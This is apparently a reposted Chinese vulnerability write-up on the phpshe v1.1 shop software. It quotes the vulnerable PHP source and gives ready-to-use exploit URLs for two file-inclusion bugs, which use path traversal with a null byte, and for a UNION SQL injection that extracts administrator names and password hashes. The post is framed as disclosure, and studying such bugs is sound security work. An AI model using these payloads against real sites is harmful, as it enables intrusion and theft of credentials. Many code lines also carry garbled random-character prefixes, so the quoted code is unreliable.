phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
4 S6 k9 v0 L7 I5 |/* ========================
9 f" G. C/ B% u  R; _* {+ A. Y/* By: : Kn1f3
1 J% D8 B. F. _* J/* E-Mail : 681796@qq.com
. P/ u3 O5 l8 k% M+ |* T- `* }/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
+ Y9 x5 c2 F% i) A+ L! ^2 a!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
6 o9 F6 k6 v# X8 G3 r!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. {: }$ @% M6 N3 i}
' X# I; T0 d  M: W) \session_start();
3 z! B7 ^; R% y) B+ Y% \) B. N!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" N! R1 E; D. [+ M, O5 L( ^!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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0×01 包含漏洞


//首页文件
0 h8 X6 [% ^9 I' g9 S- c<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
6 ]7 q, d- N& ype_result();
, [! F( g% S3 A% G?>
//common 文件 第15行开始
url路由配置
+ _1 O5 R2 ]8 U2 g9 S% u: d4 M$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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" `- Z4 C+ k) n2 j0 r4 z: H 0×02 搜索注入

<code id="code2">

//product.php文件
/ d$ C" f% G" K7 z* R4 Mcase 'list':
5 ]$ B( X' O: ?- d7 p$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
$ ?* i' S4 X3 ?//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
9 l! M" a1 |# @/ x6 c, T) Nwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ p8 f; k2 v/ _& Bif ($_g_orderby) {
. `0 w- [5 _  x$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
9 g9 C. c! [$ f/ A: m/ g. h" |else {
5 w. E+ ~4 K% W! W9 d$sqlwhere .= " order by `product_id` desc";
9 u' w( u  `7 e8 m5 }) }8 K}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
! R; n7 o8 v9 w$ k& t) F0 v3 @//热卖排行
$product_hotlist = product_hotlist();
//当前路径
1 @. L1 B' C: n0 V$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
/ m+ K  ]- J. H! g+ V% x//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
' Y  P: h+ C- Z{
. v4 W/ d" H1 a2 V4 }) P//处理条件语句
6 v; F& O5 X- ^. C$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
# K9 z, h2 I6 W' [( R) W# vproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

: V, C2 R: z4 k7 ~+ E$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

: Y/ _& i7 Y  Q; U& @if ($k == 'bank') {

6 U0 `- s* D6 |- q! f, r/ k+ L$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

; j: {/ h+ X2 P- X}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

: `" Y. T! t2 z7 K' G6 D4 v!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

# d3 L+ c$ k3 d+ \; rif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

, x3 k0 Q5 u. m4 T0 n; m6 P4 M$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

) n  x  o% T" O* c4 G/ k9 jelse {

8 w/ e, Q7 x$ K9 i; Qpe_error('支付错误...');

}

3 W) F% L5 T( p' _/ [! Z1 b) `+ H}

$seo = pe_seo('选择支付方式');

7 Q, A' b6 n0 ~  ~  h' s  V1 {4 Minclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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